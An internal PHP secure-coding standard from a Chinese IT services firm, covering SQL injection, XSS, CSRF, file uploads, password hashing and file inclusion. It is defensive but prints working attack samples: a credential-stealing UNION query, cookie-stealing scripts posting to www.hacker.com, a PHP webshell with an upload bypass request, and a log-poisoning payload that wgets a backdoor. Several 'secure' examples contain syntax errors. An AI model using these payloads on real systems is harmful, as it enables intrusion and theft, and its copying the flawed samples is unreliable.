中软国际公司内部技术规范

PHP 安全编程规范

中软国际科技服务有限公司

修订声明

参考:华为 PHP 安全编码规范。

0.

日期	修订版本	修订描述	作者
2017-07-28	1.0	整理创建初稿	陈丽佳
2017-08-02	1.1	统计整理格式，并修正部分错误	陈丽佳

目录

1. 概述

使用对象

本规范的读者及使用对象主要为 PHP 开发人员以及相关的需求分析人员、测试人员等。

适用范围

本规范适合使用 PHP 开发的产品。

用词约定

- ✧ 必须：强制必须遵守的约定
- ✧ 建议：需要加以考虑的约定

2. SQL 注入

2.1 SQL 注入描述

在 OWASP 网站发布的 TOP10 漏洞排行 2010 及 2013 版本中，SQL 注入一直稳居第一位，可以说 SQL 注入漏洞是 WEB 应用程序最大的敌人，那么什么是 SQL 注入漏洞呢？SQL 注入漏洞是程序代码中，不经过过滤或验证便直接使用用户提交的数据来构造 SQL 语句，使得黑客可以通过提交非法参数构造 SQL 查询语句，对数据库进行非授权的“增查删改”访问，甚至可通过 SQL 在底层操作系统上执行命令。

以下是一个简单 SQL 注入漏洞例子，实际环境中漏洞可能会很隐秘，但黑客同样也可以通过各种各样的技巧获得后台数据库信息：

假如我们在网站中需要从数据库查询某一个产品的信息，那么查询语句可能会这么写：“$sql = “select id,name,price from products = $_GET[‘pid’]”，当用户访问“http://www.shop.com/getProduct?pid=10”时，服务器能正常返 ID 为 10 的产品信息。而假如用户提交的 pid 为“2 and 1=2 union (select 1,user_login,user_pass from users limit 1)”，经过拼接后得到的 SQL 语句为“select id,name,price from products where id = 2 and 1=2 union (select 1,user_login,user_pass from users limit 1)”。在这条 union 语句中，因为前面的“where id = 2 and 1=2”为 false，所以不难看出，最终返回给用户的内容为 users 表中第一个用户的用户名及密码。如果 users 表中的 user_pass 是以明文保存的，那么黑客可以通过反复执行类似的 union 语句，最终获取 users 表中的所有数据，甚至是整个数据库的内容（只要当前用户有足够的读权限）。即使存储与 user_pass 列的密码经过哈希（MD5/SHA），只要密码不太复杂，黑客仍然有可能通过暴力或 Rainbow Tables 方式进行破解。

2.2 SQL 注入漏洞的危害

A. **（高）泄露数据库数据。**

B. **（高）以数据库为跳板攻击底层操作系统，严重者可轻易获取管理员权限。**

C. **（高）恶意删除或篡改数据。**

D. **（高）通过修改数据库数据在网页中嵌入恶意代码，通过用户浏览器攻击合法用户。**

2.3 SQL 注入漏洞防范

规则 2.1 使用参数化查询方式

说明：参数化 SQL 查询语句在构建查询语句时，先给查询参数预留出“位置”，当后续 SQL 语句执行时再向语句提供参数值，无论参数值是什么它都被当做一个独立的值，这样可避免参数被嵌入非法字符而影响 SQL 查询语句，从而能很好地避免 SQL 注入漏洞。

实施指导：

PHP 的 mysqli、MDB2 及 PDO 等 mysql 数据库访问扩展包，都能很好地支持参数化查询方式：

Mysqli 的参数化查询方式：

```php
<?php

        if (isset($_POST['user']) && isset($_POST['pass'])) {

                $user  = mysql_real_escape_string($_POST['user']),
                $pass  = mysql_real_escape_string($_POST['pass']);
                $conn  = new mysqli("$db_host", "$db_user", "$db_pass", "$db");
                $sql   = "select * from users where username=? and password=?";
                $cmd   = $conn->prepare($sql);
                $cmd->bind_param("ss", $user, $pass);
                $cmd->execute();
                ......
                ......
        else {
                echo "Username and password cant not be null !" ;
        }
?>
```

MDB2 的参数化查询方式：

```php
<?php

        if (isset($_POST['user']) && isset($_POST['pass'])) {

                $user  = mysql_real_escape_string($_POST['user']),
                $pass  = mysql_real_escape_string($_POST['pass']);
                $dsn    = “mysql://$db_user:$db_pass@$db_host:3306/$db';
                $mdb2   =& MDB2::factory($dsn);
                $sql    = "select * from users where username = ? and password = ? ";
                 $types  = array('text', 'text');
                $cmd    = $mdb2->prepare($sql, $types, MDB2_PREPARE_MANIP);
                $data   = array($user, $pass);
                $result = $cmd->execute($data);
                ......
                ......
        else {
                echo "Username and password cant not be null !" ;
        }
?>
```

PDO 的参数化查询方式：

```php
<?php

        if (isset($_POST['user']) && isset($_POST['pass'])) {

                $user  = mysql_real_escape_string($_POST['user']),
                $pass  = mysql_real_escape_string($_POST['pass']);
                $dbh   = new PDO("mysql:host=$db_host;dbname=$db;","$db_user","$db_pa
ss");
                $sql   = "SELECT * FROM users WHERE username=:user AND password=:pass
";
                $stmt  = $dbh->prepare($sql);
                $stmt->bindParam(':user', $user, PDO::PARAM_STR, 12);
                $stmt->bindParam(':pass', $pass, PDO::PARAM_STR, 12);
                $stmt->execute();
                ......
                ......
        else {
                echo "Username and password cant not be null !" ;
        }
?>
```

规则 2.2 对用户数据进行数据类型验证

说明：除了通过使用参数化 SQL 查询语句及对关键字符进行转义外，我们还可以通过对查询变

量进行数据校验来避免动态查询语句可能造成 SQL 注入漏洞的风险，只要对用户数据控制得当便可获得不错的效果。数据校验需要遵从以下三个原则：

- ✧ **只接受特定格式的字符串**：使用preg_match()函数对字符串进行正则匹配，如邮件地址字段就不应该接受除数字、大小写字符、“@”、“.”及“_”外的其它字符。
- ✧ **确保数据类型符合要求**：使用is_<type>()函数对数据类型进行类型检查。
- ✧ **严格限制数据长度**：使用strlen()函数对数据长度进行检验，长度越小黑客SQL攻击的成功率就越小。

规则 2.3 使用 PHP 提供的函数对字符串进行特殊字符转义

说明：本段落以 MySQL 为例进行说明，其他数据库如 DB2、SysBase、Oracle、PostGresql 的处理函数见 PHP 手册相关章节。

针对 SQL 注入漏洞，PHP 提供了 mysql_real_escape_string()函数来对字符串中的 NULL（0x00）、换行（\n）、回车（\r）、单引号（’）、双引号（”）、反斜杠（\）及“Crtl+Z”（0x1a）等特殊字符进行反斜杠转义功能。使用该函数能有效避免 SQL 注入漏洞，在使用任何字符串构建 SQL 语句是，必须首先使用 mysql_real_escape_string()对字符串进行转义，并且在进行 SQL 拼接的时候使用单引号进行拼接。

实施指导：

```
 1 <?php
 2
 3       if (isset($_POST['user']) && isset($_POST['pass'])) {
 4
 5              $link = mysql_connect('$db_host', '$db_user', '$db_pass')
 6              OR die(mysql_error());
 7
 8              $user  = mysql_real_escape_string($_POST['user']),
 9              $pass  = mysql_real_escape_string($_POST['pass']);
10              $sql   = "select * from users where user = '" . $user . "' and password =
'" . $pass . "'" ;
11
12              $result = mysql_query($sql);
13              ......
15              ......
16       else {
17              echo "Username and password cant not be null !" ;
18       }
19 ?>
```

建议 2.1 尽量使用 UTF-8 编码方式

说明：使用 UTF-8 作为数据库和应用的默认的字符集除非你的系统明确有其他编码方式要求。

实施指导：

```
 $DB = new mysqli($Host, $Username, $Password, $DatabaseName);
 if (mysqli_connect_errno())
     trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');
```

3. XSS 跨站脚本攻击

3.1 XSS 漏洞描述

XSS（Cross Site Scripting）漏洞同 SQL 注入一样也是 WEB 应用程序中常见且非常危险的漏洞，与 SQL 注入攻击不同的是 XSS 的攻击是针对客户端而不是服务器。一旦 XSS 漏洞被成功利用，黑客便可在受害者浏览器内运行任意 JavaScript 脚本，进而以浏览器为载体入侵客户端电脑。通过利用 JavaScript 脚本黑客可以实施以下攻击行为：

A. （高）窃取客户浏览器中保存的 cookie 信息，并利用该合法 cookie 冒用受害者身份进行一系列的非法行为。cookie 是 WEB 应用程序保存于用户浏览器的用户信息。

B. （低）用户浏览器访问记录。

C. （中）记录在漏洞网页的所有键盘记录。

D. （高）构造迷惑受害者的虚假网页，诱使用户泄露个人信息（网络钓鱼）或提供虚假信息以干扰受害者做出合理判断（如在股票站点构造包含虚假"内幕消息"的界面，诱使股民做出有利于黑客的选择）。

E. （高）劫持用户浏览器并使其成为向第三方发动后续攻击（如 CC 攻击）的平台。

F. （中）通过用户浏览器恶意制造网络点击并以此牟利。

G. （高）通过浏览器漏洞入侵受害者操作系统，获取管理员权限后植入木马使受害者电脑成为被随意操控的"肉鸡"。

H. （中）获取粘贴板信息。

I. （中）对受害者内部网络进行扫描。

J. 其它能通过 JavaScript 实现的攻击行为。

3.2 XSS 漏洞的分类

A. 存储型 XSS

"Stored XSS"通常也叫"Persistent XSS"，即存储型 XSS 漏洞，顾名思义"Stored XSS"的攻击脚本可永久保存在漏洞页面，一般出现在提供与数据库交互功能的页面中，如注册页面、用户信息修改页面、留言页面及论坛回贴页面等，如以下攻击实例：

某一网站的咨询栏中允许用户提交的咨询内容，但对用户提交的内容没有做充分的过滤，而且将用户提交的内容直接输出到页面中。为了窃取该网站的管理员帐号，黑客提交了包含以下代码的咨询内容并等待管理员处理：

```
1 <script>
2           var img = new Image();
3           img.src = "http://www.hacker.com/?c=" + document. Cookie ;
4 </script>
```

一旦查看了该咨询内容，管理员浏览器的合法 cookie 将以 URL 参数的方式发送到黑客的“http://www.hacker.com”网站。黑客通过使用 cookie 中的 SessionID，便可轻易取得该网站管理员权限。

因为网站程序对用户输入没有进行严格过滤（或只通过 JavaScript 脚本在客户端过滤），使得黑客可通过向漏洞页面提交恶意 JavaScript 代码。在恶意代码成功嵌入后，所有访问该漏洞网页的用户都会遭受 XSS 攻击，可见“Stored XSS”漏洞危害极大。

B. 反射性 XSS：

“Reflected XSS”通常也叫“none-Persistent XSS”，即反射型 XSS 漏洞，受害者只有在访问黑客提供的 URL 时才会被攻击，示例如下：

```
1 <html>
 2 <head>
 3         <title>Reflected XSS</title>
 4 </head>
 5 <body>
 6         <form name="login" method="POST" action="xss_reflected.php">
 7                username:<input type="textbox" name="username" id="username" /></br>
 8                password:<input type="password" name="password" id="password"/></br>
 9                         <input type="submit" value="Login"/>
10          </form>
11         <?php
12          function checkUser() { return false ; }
13
14          if(isset($_REQUEST['username'])) {
15                  $user = $_REQUEST['username'] ;
16          } else {
17                  echo "<b>用户名不能为空</b>" ;
18                  exit ;
19          }
20          if (checkUser($user)) {
21                 echo "登录成功" ;
22          }else {
23                 echo "<b>" . $user . "用户不存在</b>" ;
24          }
25         ?>
26 </body>
27 </html>
```

在以上代码的第 23 行，来自用户的$user 参数直接用 echo 输出，所以黑客可通过提交包含 JavaScript 代码的用户名来构造攻击 URL：

```
http://www.shop.com/xss_reflected.php?username=<script>var%20img=new%20Image();img.src
="http://www.hacker.com/?c="%20+%20document.cookie;</script>&password=pass
```

C. DOM-Based XSS：

DOM-Based XSS 与 Reflected/Stored XSS 不同，用户提交的数据并不会提交到服务器端进行处理，而是直接被客户端浏览器进行处理并动态生成相应的 HTML 代码，因此对用户提交的数据只能以 JavaScript 的方式进行过滤，但如果对关键字过滤不够严格，黑客仍可能通过 String.FromCharCode()、多次编码等技巧绕过过滤机制。

3.3 XSS 漏洞防范

规则 3.1 以 cookie 方式保存的 SessionID 需标识为“HttpOnly”

说明：HttpOnly 属性，用以阻止客户端脚本访问 Cookie，当支持 HttpOnly 的客户端浏

览器检测到 Cookie 包括了 HttpOnly 标志时，浏览器返回空字符串给企图读取该 cookie 的脚本，这样 cookie 中的任何信息暴露给黑客或者恶意网站的几率将会大大降低。
实施指导：

Cookie 参数可以在 `php.ini` 文件中定义，本函数仅在当前脚本执行过程中有效。 因此，如果要通过函数修改 cookie 参数，需要对每个请求都要在调用 session_start() 函数之前调用 **session_set_cookie_params()** 函数
void session_set_cookie_params (int $lifetime [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false]]]])

httponly
设置为 TRUE 表示 PHP 发送 cookie 的时候会使用 httponly 标记。

建议 3.1 以 cookie 方式保存的 SessionID 需标识为“Secure”

说明：cookie 的 secure 标志是应用服务器发送新 cookie 给客户端时的一个可选设置项，设置 cookie 的 secure 标志，用于指示浏览器只有在 https（加密协议）下才能发送该 cookie，禁止在 http（明文协议）下发送该 cookie，以防止 cookie 在 http（明文协议）下被嗅探。
实施指导：

Cookie 参数可以在 `php.ini` 文件中定义，本函数仅在当前脚本执行过程中有效。 因此，如果要通过函数修改 cookie 参数，需要对每个请求都要在调用 session_start() 函数之前调用 **session_set_cookie_params()** 函数
void session_set_cookie_params (int $lifetime [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false]]]])

secure
设置为 TRUE 表示 cookie 仅在使用 安全 链接时可用。

建议 3.2 尽量避免直接使用 JavaScript 处理用户数据

规则 3.2 对用户输入数据进行严格校验如限制数据长度、限制数据类型及只接受合法字符

说明：$_SERVER, $_GET, $_POST, $_REQUEST, $_FILES, $_COOKIE 这些都是非可信数据，需要校验。

规则 3.3 对用户输出进行编码

说明：防止跨站脚本(XSS)相关的关键输出编码机制

编码类型	编码机制
HTML 实体编码	1. 编码的字符集合最小化要求： 转换 & 为 &amp；； 转换 < 为 &lt；；

	转换 > 为 &gt；； 转换 " 为 &quot；； 转换 ' 为 16 进制 &#x27；或者 10 进制' 转换 / 为 16 进制 &#x2F；或者 10 进制/ 转换 (为 10 进制 (或者 16 进制(转换) 为 10 进制) 或者 16 进制) 2. 最优的字符编码方式： a. 字符 ，. - _ 空格 字母（a-z, A-Z）数字(0-9) 不需要转码 b. 转换 & 为 & 转换 < 为 < 转换 > 为 > 转换 " 为 " c. 其余字符的编码为&#xFFFF; 16 进制 或者&#0000; 十进制至少需实现最小化的编码要求，推荐最优实现
HTML 属性编码	对 HTML 实体编码中，需要对空格进行转码成
URL 编码	1. 空格转为 + 2. 字母（a-z, A-Z）数字(0-9)不需要转码 3. _，-，.，* 字符不需要转码 4. 使用单字节对原编码字符进行转换 转化格式使用%FF FF 是 16 进制表达 例如：“中” UTF-8 的编码是 E4 B8 AD URL 编码后 %E4%B8%AD
JavaScript 编码	1. 字母 数字 ，. _ 字符不需要转码 2. Unicode 小于 256 编码成\xFF FF 为十六进制，不足 2 位需要补 0 至 2 位 3. Unicode 大于 256 编码成 \uFFFF FFFF 为十六进制，如不足 4 位不足位需补 0 至 4 位
CSS 十六进制编码	Unicode 大于等于 32 小于等于 126 字符 1. 单引号包含的内容，需要对"、'、<、&、/、\ 、> 字符进行转码 2. 非单引号内容，需要对"、'、<、&、/、\ 、> space ( )字符进行转码 转码方式： 3. 字符的转码格式为 \FFFF FFFF 表示为 16 进制，无位数要求，不补 0 4. 转义后的字符需要判断是否增加空格来分割下个字符，当下个字符为 0-9 a-f A-F \n \r \t \f space 时候需要增加空格来分割下个

	字符

注：上面除（URL 编码）所列均为 unicode 编码，上述规则需产品实现需要转码成 unicode，然后在进行转码

PHP 中的 htmlentities()函数提供了对字符串进行输出为 html 编码功能，单引号、双引号、大于号、小于号以及＆等特殊字符均可被 html 编码：

```
1 <html>
2 <head>
3       <title>htmlentities()</title>
4 </head>
5 <body>
6 <?php
7 print htmlentities("特殊符:&'\"<script>alert(\"xss\");</script>",ENT_QUOTES,"UTF-8") ;
8 ?>
9 </body>
10 </html>
```

```
1 <html>
2 <head>
3 <title>htmlentities()</title>
4 </head>
5 <body>
6 特殊字符:&amp;&#039;&quot;&lt;script&gt;alert(&quot;xss&quot;);&lt;/script&gt;
7 </body>
8 </html>
```

Htmlentities()函数默认不对单引号进行编码，在使用 ENT_QUOTES 选项后，单引号被编码为“&#039”，双引号则编码为“&quot”。 htmlentities()函数的使用可有效避免 XSS 漏洞，在对来自用户的数据进行输出之前，应确保已使用 htmlentities()进行编码。

另外一个与 htmlentities()函数提供类似功能的是 htmlspecialchars()函数，与 htmlentities()对所有可编码的字符进行编码不同，htmlspecialchars()默认只对双引号、小于号、大于号及“&”进行编码（可使用 ENT_QUOTES 实现对单引号进行编码）。当网页在使用 UTF-7 编码时，htmlspecialchars()函数并不能有效地避免 XSS 漏洞，因此出于安全考虑应使用 htmlentities()函数。二者的区别可通过 get_html_translation_table()函数的输出进行对比。

4. CSRF 跨站请求伪造

4.1 CSRF 描述

CSRF 全称为“Cross-Site Request Forgery”，与 XSS 不同 CSRF 是在用户合法的 SESSION 内发起的攻击。黑客通过在网页中嵌入 Web 恶意请求代码，并诱使受害者访问该页面，当页面被访问后，请求在受害者不知情的情况下以受害者的合法身份发起，并执行黑客所期待的动作。以下 HTML 代码提供了一个“删除产品”的功能：

```
<a href="http://www.shop.com/delProducts.php?id=100" onClick="javascript:return confirm
('Are you sure ?')">Delete</a>
```

假设程序员在后台没有对该“删除产品”请求做相应的合法性验证，只要用户访问了该链接，相应的产品即被删除，那么黑客可通过欺骗受害者访问带有以下恶意代码的网页，即可在受害者不知情的情况下删除相应的产品：

```
<img src=http://www.shop.com/delProducts.php?id=100</img>
```

4.2 CSRF 攻击途径

通过 img 标签发起的 CSRF 只是一个常见的途径，现实中可通过多种方式发起 CSRF 攻击：

A. **通过img标签的src属性：**

```
<img src=http://www.shop.com/delProducts.php?id=100</img>
```

B. **通过script标签的src属性：**

```
<script src=http://www.shop.com/delProducts.php?id=100</script>
```

C. **通过iFrame标签的src属性：**

```
<iframe src=http://www.shop.com/delProducts.php?id=100</iframe>
```

D. **通过JavaScript的Image对象：**

```
1  <script>
2  Var img = new image() ;
3  Img.src = “http://www.shop.com/delProducts.php?id=100” ;
4  </script>
```

E. **通过AJAX发起：**

```
<script>
var request = new XMLHttpRequest();
request.open('GET', 'http://www.shop.com/delProducts.php?id=100', true);
request.onreadystatechange = function (aEvt) {
 if (request.readyState == 4) {
    if (request.status == 200)
     console.log(request.responseText)
   else
     console.log('Error', request.statusText);
 }
};
request.send(null);
</script>
```

F. **通过浏览器Flash插件漏洞发起。**

4.3 CSRF 的防范

规则 4.1 在请求中使用 Token 进行验证，用 Token 对敏感或关键的操作进行校验， Token 必须使用安全随机数算法生成、有效长度不低于 24 个字符，请求认证随机字符串的生命周期要小于等于会话周期。

说明：

Token 是服务器为确认客户端请求的有效性，防止跨站请求伪造攻击（跨站请求伪造攻击是攻击者诱骗用户去执行攻击者预先设置的操作）而随机生成一段字符串。客户端发起的敏感或关键的操作（如：支付操作、修改密码操作、添加修改管理员操作、重启设备操作等）必需使用 Token 验证请求的有效性。Token 通常与 sessionid 一起使用，来验证用户身份，以确保客户端提交的请求是用户主动发起，而非攻击者伪造的请求。Token 的有效长度不低于 24 个字符、必需使用安全随机数算法生成。

Token 参数值禁止从 Cookie 中获取（浏览器会直接将 Cookie 值在 HTTP 头中携带，导致 CSRF 防范失效）。

使用动态令牌、随机短信、验证码进行 CSRF 防范，只要保证长度不小于 4 即可。

说明：在 Web 服务中认证随机字符串生命周期分为三种

a. 请求级别

如果产品使用请求生命周期的随机字符串进行验证（每一次请求生成新的随机字符串），需要考虑用户的适用性。

1. 后退的按钮行为，用户喜欢用后退按钮有可能导致请求生命周期的字符串校验失效

2. 多个 Tab 访问，有些用户喜欢用多个 tab 访问相同的网站，如果在不同的 Tab 里切换提交请求，有可能会导致请求生命周期的字符串校验失败

b. 会话级别

建议使用以会话级别作为认证字符的生命周期，也就是说在单个会话周期内，只生成唯一认证字符串，在同一会话有效期内多个页面都可以使用同一认证字符串进行认证。

c. 全局级别

所有会话和页面使用相同的认证随机字符串，如果字符串一旦被泄露，攻击者可以攻击整个 web 站点，禁止产品使用该策略。

```
Token 在页面中建议的存放方式
<form name="testform" action="/xxx">
<input type="hidden" name="token " value="ByOK3vjFD75aPnrF7C2HmdnV6QZcEbzWoWiBYEnLerjQ9
9zWpBng"/>
<input type="text"/>
</form>

获取
$token = $_POST['token'];
$session_token = $_SESSION['admin'];
if($token == $session_token){
}
else{
exception handle
}
```

规则 4.2 禁止仅仅依靠验证 HTTP 头中的 Referer 字段作为唯一手段来防范 CSRF 攻击。

说明：

在 HTTP 头中有一个字段叫 Referer，用于记录 HTTP 请求的来源地址。如果仅仅依赖验证 Referer 字段作为防范 CSRF 攻击手段，存在以下缺陷：

1. 依赖浏览器，有些低版本浏览器本身有缺陷可以篡改 Referer 值，导致 Referer 字段被绕过。
2. 高级浏览器可以设置发送时是否提供 Referer，如果用户关闭，导致用户无法正常访问网站。

建议 4.1 防 CSRF 攻击的 Token 不要暴露在 URL 中。

说明：

随机字符串传递可以通过 HTTP 协议中的头，或者通过表单提交，不建议通过请求 URL 中传递。使用 URL 传递，常见于 GET 请求、组装 URL，缺点容易被 Referer 头/浏览器历史记录/日志或者网络日志记录。

5. 文件上传漏洞

5.1 漏洞描述

文件上传漏洞是 PHP 站点常见且极其严重的漏洞，利用这类漏洞，黑客可远程上传 webshell 脚本，并轻而易举地获得服务器的管理员权限。

5.2 常见的文件上传漏洞情景

A. 未对上传文件做任何限制，黑客可随意上传任意类型文件：

```
<?php

$dir = 'uploads/';
$file = $dir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $file)) {
       echo "File is valid, and was successfully uploaded.\n";
} else {
       echo "File uploading failed.\n";
}

?>
```

通过上传包含以下代码的 shell.php 文件，黑客可以运行 Apache 的用户的权限执行任意命令：

```
<pre>
<?php
       system($_GET['cmd']);
?>
</pre>
```

黑客访问 http://localhost/ul/shell.php?cmd=ping%20www.company.com%20-c%205，即可在服务器上执行“ping www.company.com –c 5”命令并得到输出结果，通过此 webshell 能执行的命令取决于运行 Apache 用户权限的大小。

B. 对上传文件只检查“Content-type”：

```php
<?php

$ftype = $_FILES['userfile']['type'] ;
$allowtype = Array("image/gif","image/jpg","image/jpeg","image/png");

if (!in_array($ftype,$allowtype)) {
        echo "Content type not allowed!" ;
        exit ;
}
$dir = 'uploads/';
$file = $dir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $file)) {
        echo "File is valid, and was successfully uploaded.\n";
} else {
        echo "File uploading failed.\n";
}

?>
```

即使这样黑客仍可通过本地代理软件或浏览器插件手工修改 HTTP 请求的“Content-type”并绕过程序检查，在把“Content-type”修改成“image/jpg”后，黑客仍可上传 sehll.php 文件：

```
POST /ul/up1.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.243.153/ul/upload1.html
Cookie: PHPSESSID=e23cm8amutnho90nr3cubr1jd6
Content-Type: image/jpg（可通过本地代理修改）
Content-Length: 364

-----------------------------30716530016739
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: application/octet-stream

<pre>
<?php
      system($_GET['cmd']);
?>
</pre>
-----------------------------30716530016739
Content-Disposition: form-data; name="upload"

upload
-----------------------------30716530016739--
```

C. 使用 getimagesize()函数对上传图片进行头部检查：

即使对上传图片的文件头进行过滤，黑客仍然可以通过在上传图片的 comment 中嵌入恶意代码（可通过图片修改工具添加），只要服务允许上传 php 后缀的文件，黑客的恶意代码就能被执行：

```php
<?php
$allowtype=Array("image/gif","image/jpg","image/jpeg","image/png");

$imageinfo = getimagesize($_FILES['userfile']['tmp_name']) ;
$header = $imageinfo['mime'] ;

$ftype = $_FILES['userfile']['type'] ;

if ((!in_array($ftype,$allowtype)) && (!in_array($header , $allowtype))) {
        echo "Content type not allowed!" ;
        exit ;
}
$dir = 'uploads/';
$file = $dir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $file)) {
        echo "File is valid, and was successfully uploaded.\n";
} else {
        echo "File uploading failed.\n";
}

?>
```

5.3 上传漏洞防范

```php
<?php
$allowext =  Array("gif","jpg","jpeg","png") ;
$match = false ;

foreach ( $allowext as $ext ) {
        if ( preg_match("/$ext\$/i" , $_FILES['userfile']['name'] )) {
                $match = true ;
        }
}
if (!$match) {
        echo "File extension not allowed !"  ;
        exit ;
}

$allowtype = Array("image/gif","image/jpg","image/jpeg","image/png");

$imageinfo = getimagesize($_FILES['userfile']['tmp_name']) ;
$header = $imageinfo['mime'] ;

$ftype = $_FILES['userfile']['type'] ;

if ((!in_array($ftype,$allowtype)) && (!in_array($header , $allowtype))) {
        echo "Content type not allowed!" ;
        exit ;
}
$dir = 'uploads/';
$file = $dir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $file)) {
        echo "File is valid, and was successfully uploaded.\n";
} else {
        echo "File uploading failed.\n";
}

?>
```

当上传文件为“shell.php.abc”时，因为 abc 并不在 Apache 的可识别扩展名范围之内，所以“shell.php.abc”文件会当作“shell.php”来执行，因此使用白名单对上传文件扩展名

进行限制，能在很大程度上避免上传漏洞。但即使对文件扩展名进行了白名单限制，也不能做到万无一失，因为当 Apache 的配置中有“AddHandler php5-script .php”的配置时，“shell.php.jpg”文件也会被当作“shell.php”处理，此时黑客仍然可以上传 shell.php 后门。

规则 5.1 在服务器端限制上传文件大小，检查内容类型及扩展信息

说明：对文件大小进行检查，以避免上传文件占用太大空间而导致被 DoS 攻击），检查 Content-type、扩展名及 mime-type（对 MIME 限制可采用白名单机制）。

规则 5.2 随机重命名上传文件，并使用数据库方式保存文件与物理目录之间的关系

说明：可有效避免黑客上传恶意代码，并使用 LFI 漏洞引用恶意代码文件，以达到“挂马”的目的。

规则 5.3 上传目录不能放在网站程序目录中，并防止目录遍历

说明：通过如“http://www.site.com/img.php?id=1343535343”方式访问，避免上传文件直接被访问到，可有效防范 LFI。

建议 5.1 使用 is_uploaded_file()确保文件是通过 POST 上传

说明：在使用 move_uploaded_file()将上传的文件移到新位置前，使用 is_uploaded_file()确保文件是通过 POST 上传的，确保恶意的用户无法欺骗脚本去访问本不能访问的文件，例如 /etc/passwd。如果上传的文件有可能会造成对用户或本系统的其他用户显示其内容的话，这种检查显得格外重要（本函数的结果会被缓存，需使用 clearstatcache() 来清除缓存）。

建议 5.2 使用 exif_imagetype()确保上传的是否是一个图片

说明：通如果上传的文件只允许图片，可以使用 exif_imagetype()函数来判断上传的是否图片。
“http://us3.php.net/manual/en/function.exif-imagetype.php”

6. 安全

6.1 安全存储

规则 6.1 口令存储前使用带盐值的 Hash 算法来加密。

说明：使用带盐值的 Hash 算法单向保护口令，可以在不增加口令复杂度的情况下，增加破解口令的难度，防范彩虹表攻击。即使用户口令相同，通过对不同的口令使用不同的盐值进行保护，使存储的口令密文不同，增加攻击者窃取口令的难度。

推荐使用 PBKDF2 算法（PBKDF2 是一个密钥导出函数，既可用于导出密钥，也可用于口令保存，并且已在 RFC 2898 标准中定义。它使用最为广泛，能被大多数算法库所支持）；也可以直接使用强哈希算法，如 SHA256 进行哈希加盐。对盐值的要求是：使用安全的随机数生成至少 8 字节的盐值，且不同的用户盐值不同。最终的结果需要经过至少 5000 次的迭代。

```
Php 中提供了 cryp()函数可以用于加密，推荐使用 SHA256（ CRYPT_EXT_SHA256）或者 SHA512（ CRYPT_EXT_SHA512） hash 算法
```

6.2 安全随机数

规则 6.2 安全敏感的功能使用的随机数必须使用安全随机数。

说明：安全敏感的功能需要使用安全随机数，例如口令加密的盐值需要使用安全随机数生成。

规则 6.3 禁止使用 rand()函数生成安全随机数，安全随机数长度至少 8 个 byte。

说明：Php 中的 rand 函数只是生成伪随机数，并不能生成安全随机数，生成安全随机数长度至少 8byte，推荐 32-64 byte。

```
建议使用
openssl_random_pseudo_bytes(int $length [,bool &$crypto_strong]) 函数生成安全随机数
```

7 LFI/RFI 文件包含漏洞

7.1 漏洞描述

文件包含漏洞是在使用 require()、require_once()、include()、include_once()及 file_get_contents()等文件访问函数时，对用户通过 POST/GET/COOKIE 提交的数据没有进行严格的过滤，而导致黑客通过相关技巧构造参数，随意访问或引用服务器本地或远程文件。通过利用 LFI/RFI 漏洞，黑客可以：

- ✧ **窃取网站源代码及数据库信息。**
- ✧ **在服务器上执行恶意代码并植入webshell后门，严重者可轻易获取服务器root权限。**
- ✧ **窃取合法用户的SESSION信息。**

在下面简单的例子中，实现了通过 URL 请求参数改变页面主题的功能，用户通过请求“http://www.site.com/index.php?theme=winter”的方式即可改变网页的主题：

```
1 <?php
2  $theme = 'spring';
3  if (isset( $_GET['theme'] )) $theme = $_GET['theme'];
4  include( $theme . '.inc' );
5 ?>
```

这是一个很典型的 LFI 漏洞，代码中对用户提交的“theme”参数没有做任何限制， 当用户请求“http://www.site.com/index.php?theme=../../../../../../etc/passwd%00”时，服务器返回给浏览器的将是/etc/passwd 文件的内容。因为“theme”参数包含有 Null Byte(%00)，PHP 在处理时会忽略“%00”后门的字符串，即“.inc”后缀被忽略。

7.2 LFI 上传 webshell 的途径

A. 通过Apache的access.log日志文件：

正常情况下 Apache 的访问日志格式如下：

```
192.168.1.1 - - [22/Oct/2011:20:03:58 +0800] "GET /index.php?theme=winter HTTP/1.1" 200
1378 "-" "Mozilla/5.0 (Windows NT 6.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.2"
```

但 HTTP 请求头部的“User-agent”头可通过浏览器插件或本地代理进行修改，因此黑客可以把“User-agent”值改成“<php? System("wget http://www.hacker.com/shell.php -O shell.php"); ?>”，于是相应的 Apache 日志就变成了：

```
192.168.1.1 - - [22/Oct/2011:20:03:58 +0800] "GET /index.php?theme=winter HTTP/1.1" 200
1378 "-" "<php? System("wget http://www.hacker.com/shell.txt -O shell.php"); ?>"
```

最后黑客通过访问“http://www.site.com/index.php?theme=../../../../../../var/log/apache2/access.log%00”，“wget http://www.hacker.com/shell.txt -O shell.php”命令即被执行，并把后门文件下载并保存到网站根目录下，后续通过“http://www.site.com/shell.php”即可访问到该木马后门。

B. 通过/proc/self/environ 文件：

也包含相应的 User-agent 信息，同样也可被黑客利用。

C. gif、jpeg 等图像文件的 comment：

可通过图像编辑工具在图像的 comment 中添加恶意代码，并把修改后的图片文件上传到服务器，接着便可通过 LFI 漏洞引用图片并执行 comment 中的恶意代码：

```
http://www.site.com/index.php?theme=../uploads/pics/shell.gif %00
```

7.3 LFI/RFI 漏洞防范

规则 7.1 在 php.ini 中关闭“allow_url_include”及“allow_url_fopen”功能

规则 7.2 在使用来自客户端的数据之前，对数据进行严格过滤

规则 7.3 更改文件上传目录，并限制上传文件格式

建议 7.1 尽量使用“非动态 include”，避免 include 等函数直接使用来自用户的数据

说明：

```
